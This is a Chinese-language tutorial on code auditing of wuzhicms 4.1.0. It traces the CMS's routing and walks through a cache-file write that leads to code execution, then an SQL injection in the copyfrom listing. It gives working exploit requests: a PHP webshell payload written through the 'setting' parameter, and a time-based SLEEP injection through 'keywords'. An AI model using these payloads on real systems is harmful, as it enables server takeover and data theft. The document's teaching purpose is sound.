代码审计入门学习之sql注入

路由规则

入口文件：index.php

<?php
// +----------------------------------------------------------------------
// | wuzhicms [ 五指互联网站内容管理系统 ]
// | Copyright (c) 2014-2015 http://www.wuzhicms.com All rights reserved.
// | Licensed ( http://www.wuzhicms.com/licenses/ )
// | Author: wangcanjia <[e-mail]>
// +----------------------------------------------------------------------
/*** 程序入口文件*///检测PHP环境
if(PHP_VERSION < '5.2.0') die('Require PHP > 5.2.0 ');
//定义当前的网站物理路径
define('WWW_ROOT',dirname(__FILE__).'/');require './configs/web_config.php';
require COREFRAME_ROOT.'core.php';$app = load_class('application');
$app->run();
?>

跟进load_class方法

function load_class($class, $m = 'core', $param = NULL) {static $static_class = array();//判断是否存在类，存在则直接返回if (isset($static_class[$class])) {return $static_class[$class];}$name = FALSE;if (file_exists(COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php')) {$name = 'WUZHI_'.$class;if (class_exists($name, FALSE) === FALSE) {require_once(COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php');}}//如果存在扩展类，则初始化扩展类if ($class!='application' && $class!='admin' && file_exists(COREFRAME_ROOT.'app/'.$m.'/libs/class/EXT_'.$class.'.class.php')) {$name = 'EXT_'.$class;if (class_exists($name, FALSE) === FALSE) {require_once(COREFRAME_ROOT.'app/'.$m.'/libs/class/EXT_'.$class.'.class.php');}}if ($name === FALSE) {$full_dir = '';if(OPEN_DEBUG) $full_dir = COREFRAME_ROOT.'app/'.$m.'/libs/class/';echo 'Unable to locate the specified class: '.$full_dir.$class.'.class.php';exit();}

如果$static_class变量中存在类就直接获取，否则从地址coreframe/app/core/libs/class/$class.class.php中获取

类名在wuzhicms中都定义为WUZHI_$class类。那么load_class('application')即加载WUZHI_application类

final class WUZHI_application {private $_m; // 模块名，取值方式：Mprivate $_f; // 文件名 取值方式：Fprivate $_v; // 方法名 取值方式：Vprivate function setconfig() {$sn = $_SERVER["SERVER_NAME"];$route_config = get_config('route_config'); // $config[$filename] = include WWW_ROOT.'configs/'.$filename.'.php';if(isset($route_config[$sn])) {$route_config = $route_config[$sn];} else {$route_config = $route_config['default'];}

get_config(route_config)方法即从www/configs/route_config.php中读取配置，route_config.php内容如下

return array('default'=>array('m'=>'content', 'f'=>'index', 'v'=>'init'),
);

即调用content模块的index.php文件的init()方法，从目录结构中查找对应的文件，可以判断出模块即为coreframe/app/content。目录结构如下

wuzhicms-4.1.0
├─bin
├─caches
└─coreframe└─app├─affiche├─appupdate├─attachement├─collect├─content├─admin├─fields├─libs├─city.php├─...├─index.php

wuzhicms的coreframe下的文件路由访问形式均为：http://ip:port/wuzhicms/index.php?m=目录&f=文件名&v=方法&_su=wuzhicms

文件写入漏洞

主要看file_put_contents函数里面的参数是否可控，按两下shift全局查找一下，经过查找发现coreframe/app/core/libs/function/common.func.php中存在filename及data参数可控

点击查看发现在set_cache方法里面

/*** 写入缓存* @param $filename 文件名* @param $data 数组或者字符串* @param string $dir 写入目录名，文件缓存写入：/caches/$dir* @return bool*/
function set_cache($filename, $data, $dir = '_cache_'){static $_dirs;if ($dir == '') return FALSE;if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;$cache_path = CACHE_ROOT . $dir . '/';if (!isset($_dirs[$filename . $dir])) {if (!is_dir($cache_path)) {mkdir($cache_path, 0777, true);}$_dirs[$filename . $dir] = 1;}$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';if (is_array($data)) {$data = '<?php' . "\r\n return " . array2string($data) . '?>';}file_put_contents($filename, $data);
}

ctrl+B看看谁又调用了set_cache方法，发现在coreframe/app/attachment/admin/index.php的set方法里面调用

public function set(){if (isset($GLOBALS['submit'])) {set_cache(M, $GLOBALS['setting']);MSG(L('operation_success'), HTTP_REFERER, 3000);} else {$show_dialog = 1;load_class('form');$setting = &$this->_cache;if(!isset($setting['show_mode'])) {$setting = array('show_mode'=>2,'watermark_enable'=>1,'watermark_pos'=>0,'watermark_text'=>'www.wuzhicms.com');set_cache(M, $setting);
}include $this->template('set', M);}}

file_put_contents($filename, $data)，$data就是$GLOBALS[‘setting’]，是我们可控的，我们可以往里面写入恶意代码，缓存文件名是不可控的，现在就要找到一个可以包含该缓存文件的地方

function get_cache($filename, $dir = '_cache_'){$file = get_cache_path($filename, $dir);if (!file_exists($file)) return '';$data = include $file;return $data;
}

查找该文件中是否存在get_cache()方法的调用，发现有ueditor方法调用了

public function ueditor(){if (isset($GLOBALS['submit'])) {$cache_in_db = cache_in_db($GLOBALS['setting'], V, M);set_cache(V, $GLOBALS['setting']);MSG(L('operation_success'), HTTP_REFERER, 3000);}else {$setting = get_cache(V);
if(empty($setting)) $setting = cache_in_db('', V, M);include $this->template(V, M);}}

# 1 写入一句话木马到缓存文件
GET /wuzhicms/index.php?m=attachment&f=index&v=set&_su=wuzhicms&submit=1&setting=<%3fphp+system"whoami")%3b%3f>
# 2 读取缓存文件
GET /wuzhicms/index.php?m=attachment&f=index&v=ueditor&_su=wuzhicms

sql注入漏洞

也是和上面操作一样的，搜索看哪里存在sql查询语句，这里发现在coreframe/app/core/libs/class/mysql.class.php文件下，提供了一个名为query的方法，用于执行SQL查询

public function query($sql, $type = '', $cachetime = FALSE) {//if($_SERVER['REMOTE_ADDR']=='127.0.0.1') echo $sql."<br>";$func = $type == 'UNBUFFERED' && @function_exists('mysql_unbuffered_query') ? 'mysql_unbuffered_query' : 'mysql_query';if(!($query = $func($sql, $this->link)) && $type != 'SILENT') {$this->halt('MySQL Query Error', $sql);}$this->querynum++;$this->histories[] = $sql;return $query;
}

接下来追踪query方法，看哪里调用了它

发现很多地方都调用了

先看delete方法下的调用，它把$sql参数当作sql语句执行了，这里就很有可能存在sql注入漏洞了

public function delete($table, $where = '') {$where = $where ? ' WHERE '.$where: '';$sql = 'DELETE FROM `'.$this->tablepre.$table.'`'.$where;return $this->query($sql);
}

追踪下$where参数，看是否可控

public function listing() {$siteid = get_cookie('siteid');$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;$page = max($page,1);if(isset($GLOBALS['keywords'])) {$keywords = $GLOBALS['keywords'];$where = "`name` LIKE '%$keywords%'";} else {$where = '';}$result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);$pages = $this->db->pages;$total = $this->db->number;include $this->template('copyfrom_listing');
}

发现$where参数是由全局变量keyword赋值的，我们可以控制，而且也没有过滤，这样的话就会存在sql注入漏洞了

梳理一下调用过程就是：copyfrom文件下的listing方法中存在一个可控全局变量参数keywords,赋值给$where，插入sql查询语句，并且被执行了

m=core&f=copyfrom&v=listing&_su=wuzhicms&keywords=1' AND (SELECT 1228 FROM (SELECT(SLEEP(5)))jFgw)-- JQJJ

可以看到成功延时了